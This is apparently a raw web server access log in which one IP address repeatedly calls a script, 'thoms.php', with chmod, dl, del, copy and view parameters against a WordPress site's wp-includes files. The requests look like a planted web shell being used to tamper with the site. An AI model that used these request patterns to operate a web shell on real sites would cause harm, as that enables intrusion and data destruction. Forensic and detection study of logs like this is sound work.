45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?dl=class-smtp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /betcity.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /betcity.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?del=class-walker-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59395 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?chmod=script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16495 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /betcity.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /betcity.com.tw/wp-includes/Requests/ HTTP/1.1" 200 814 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?dl=theme-templates.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:02 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /betcity.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12615 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?chmod=query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12060 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17559 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 12361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /betcity.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /betcity.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /betcity.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-IXR.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-IXR.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?dl=class-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /betcity.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:03 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61478 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fvars.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fvars.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?chmod=abilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /betcity.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /betcity.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /betcity.com.tw/wp-includes/css/ HTTP/1.1" 200 2398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13122 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:04 -0400] "GET /thoms.php?dl=bookmark.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 12350 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?del=ms-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59419 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ferror-protection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ferror-protection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /betcity.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-patterns.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-patterns.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:05 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwidgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwidgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12478 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Flocale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Flocale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?dl=http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?dl=template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?del=update.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=update.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54391 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:06 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /betcity.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?chmod=theme-compat&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?chmod=comment-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:07 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
